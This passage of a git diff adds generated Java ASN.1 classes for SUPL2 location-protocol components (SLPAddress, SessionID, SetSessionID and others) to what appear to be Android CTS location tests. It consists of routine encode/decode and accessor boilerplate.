+ * @throws {@code IllegalStateException} if {@code !isNai}.
+ */
+ @SuppressWarnings("unchecked")
+ public SETId.naiType getNai() {
+ if (!isNai()) {
+ throw new IllegalStateException("SETId value not a Nai");
+ }
+ return (SETId.naiType) element;
+ }
+
+ public void setNai(SETId.naiType selected) {
+ selection = Select.$Nai;
+ extension = false;
+ element = selected;
+ }
+
+ public SETId.naiType setNaiToNewInstance() {
+ SETId.naiType element = new SETId.naiType();
+ setNai(element);
+ return element;
+ }
+
+
+
+ public boolean isIPAddress() {
+ return !hasExtensionValue() && Select.$IPAddress == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isIPAddress}.
+ */
+ @SuppressWarnings("unchecked")
+ public IPAddress getIPAddress() {
+ if (!isIPAddress()) {
+ throw new IllegalStateException("SETId value not a IPAddress");
+ }
+ return (IPAddress) element;
+ }
+
+ public void setIPAddress(IPAddress selected) {
+ selection = Select.$IPAddress;
+ extension = false;
+ element = selected;
+ }
+
+ public IPAddress setIPAddressToNewInstance() {
+ IPAddress element = new IPAddress();
+ setIPAddress(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "SETId = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SLPAddress.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SLPAddress.java
new file mode 100755
index 0000000..13fdf44
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SLPAddress.java
@@ -0,0 +1,358 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SLPAddress extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_SLPAddress
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "SLPAddress: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public SLPAddress() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SLPAddress;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SLPAddress != null) {
+ return ImmutableList.of(TAG_SLPAddress);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new SLPAddress from encoded stream.
+ */
+ public static SLPAddress fromPerUnaligned(byte[] encodedBytes) {
+ SLPAddress result = new SLPAddress();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SLPAddress from encoded stream.
+ */
+ public static SLPAddress fromPerAligned(byte[] encodedBytes) {
+ SLPAddress result = new SLPAddress();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $IPAddress(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new IPAddress();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IPAddress.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $FQDN(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new FQDN();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FQDN.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isIPAddress() {
+ return !hasExtensionValue() && Select.$IPAddress == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isIPAddress}.
+ */
+ @SuppressWarnings("unchecked")
+ public IPAddress getIPAddress() {
+ if (!isIPAddress()) {
+ throw new IllegalStateException("SLPAddress value not a IPAddress");
+ }
+ return (IPAddress) element;
+ }
+
+ public void setIPAddress(IPAddress selected) {
+ selection = Select.$IPAddress;
+ extension = false;
+ element = selected;
+ }
+
+ public IPAddress setIPAddressToNewInstance() {
+ IPAddress element = new IPAddress();
+ setIPAddress(element);
+ return element;
+ }
+
+
+
+ public boolean isFQDN() {
+ return !hasExtensionValue() && Select.$FQDN == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isFQDN}.
+ */
+ @SuppressWarnings("unchecked")
+ public FQDN getFQDN() {
+ if (!isFQDN()) {
+ throw new IllegalStateException("SLPAddress value not a FQDN");
+ }
+ return (FQDN) element;
+ }
+
+ public void setFQDN(FQDN selected) {
+ selection = Select.$FQDN;
+ extension = false;
+ element = selected;
+ }
+
+ public FQDN setFQDNToNewInstance() {
+ FQDN element = new FQDN();
+ setFQDN(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "SLPAddress = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SessionID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SessionID.java
new file mode 100755
index 0000000..231afb9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SessionID.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SessionID extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SessionID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SessionID() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SessionID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SessionID != null) {
+ return ImmutableList.of(TAG_SessionID);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SessionID from encoded stream.
+ */
+ public static SessionID fromPerUnaligned(byte[] encodedBytes) {
+ SessionID result = new SessionID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SessionID from encoded stream.
+ */
+ public static SessionID fromPerAligned(byte[] encodedBytes) {
+ SessionID result = new SessionID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SetSessionID setSessionID_;
+ public SetSessionID getSetSessionID() {
+ return setSessionID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SetSessionID
+ */
+ public void setSetSessionID(Asn1Object value) {
+ this.setSessionID_ = (SetSessionID) value;
+ }
+ public SetSessionID setSetSessionIDToNewInstance() {
+ setSessionID_ = new SetSessionID();
+ return setSessionID_;
+ }
+
+ private SlpSessionID slpSessionID_;
+ public SlpSessionID getSlpSessionID() {
+ return slpSessionID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SlpSessionID
+ */
+ public void setSlpSessionID(Asn1Object value) {
+ this.slpSessionID_ = (SlpSessionID) value;
+ }
+ public SlpSessionID setSlpSessionIDToNewInstance() {
+ slpSessionID_ = new SlpSessionID();
+ return slpSessionID_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSetSessionID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSetSessionID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSetSessionIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SetSessionID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "setSessionID : "
+ + getSetSessionID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSlpSessionID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSlpSessionID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSlpSessionIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SlpSessionID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "slpSessionID : "
+ + getSlpSessionID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SessionID = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SetSessionID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SetSessionID.java
new file mode 100755
index 0000000..6fb04bb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SetSessionID.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SetSessionID extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SetSessionID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SetSessionID() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SetSessionID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SetSessionID != null) {
+ return ImmutableList.of(TAG_SetSessionID);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SetSessionID from encoded stream.
+ */
+ public static SetSessionID fromPerUnaligned(byte[] encodedBytes) {
+ SetSessionID result = new SetSessionID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SetSessionID from encoded stream.
+ */
+ public static SetSessionID fromPerAligned(byte[] encodedBytes) {
+ SetSessionID result = new SetSessionID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SetSessionID.sessionIdType sessionId_;
+ public SetSessionID.sessionIdType getSessionId() {
+ return sessionId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SetSessionID.sessionIdType
+ */
+ public void setSessionId(Asn1Object value) {
+ this.sessionId_ = (SetSessionID.sessionIdType) value;
+ }
+ public SetSessionID.sessionIdType setSessionIdToNewInstance() {
+ sessionId_ = new SetSessionID.sessionIdType();
+ return sessionId_;
+ }
+
+ private SETId setId_;
+ public SETId getSetId() {
+ return setId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SETId
+ */
+ public void setSetId(Asn1Object value) {
+ this.setId_ = (SETId) value;
+ }
+ public SETId setSetIdToNewInstance() {
+ setId_ = new SETId();
+ return setId_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSessionId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSessionId();
+ }
+
+ @Override public void setToNewInstance() {
+ setSessionIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SetSessionID.sessionIdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sessionId : "
+ + getSessionId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSetId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSetId();
+ }
+
+ @Override public void setToNewInstance() {
+ setSetIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "setId : "
+ + getSetId().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sessionIdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sessionIdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sessionIdType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sessionIdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sessionIdType != null) {
+ return ImmutableList.of(TAG_sessionIdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sessionIdType from encoded stream.
+ */
+ public static sessionIdType fromPerUnaligned(byte[] encodedBytes) {
+ sessionIdType result = new sessionIdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sessionIdType from encoded stream.
+ */
+ public static sessionIdType fromPerAligned(byte[] encodedBytes) {
+ sessionIdType result = new sessionIdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sessionIdType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SetSessionID = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SlpSessionID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SlpSessionID.java
new file mode 100755
index 0000000..467009c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SlpSessionID.java
@@ -0,0 +1,363 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SlpSessionID extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SlpSessionID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SlpSessionID() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SlpSessionID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SlpSessionID != null) {
+ return ImmutableList.of(TAG_SlpSessionID);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SlpSessionID from encoded stream.
+ */
+ public static SlpSessionID fromPerUnaligned(byte[] encodedBytes) {
+ SlpSessionID result = new SlpSessionID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SlpSessionID from encoded stream.
+ */
+ public static SlpSessionID fromPerAligned(byte[] encodedBytes) {
+ SlpSessionID result = new SlpSessionID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SlpSessionID.sessionIDType sessionID_;
+ public SlpSessionID.sessionIDType getSessionID() {
+ return sessionID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SlpSessionID.sessionIDType
+ */
+ public void setSessionID(Asn1Object value) {
+ this.sessionID_ = (SlpSessionID.sessionIDType) value;
+ }
+ public SlpSessionID.sessionIDType setSessionIDToNewInstance() {
+ sessionID_ = new SlpSessionID.sessionIDType();
+ return sessionID_;
+ }
+
+ private SLPAddress slpId_;
+ public SLPAddress getSlpId() {
+ return slpId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SLPAddress
+ */
+ public void setSlpId(Asn1Object value) {
+ this.slpId_ = (SLPAddress) value;
+ }
+ public SLPAddress setSlpIdToNewInstance() {
+ slpId_ = new SLPAddress();
+ return slpId_;
+ }
+
+
+
+
+
+
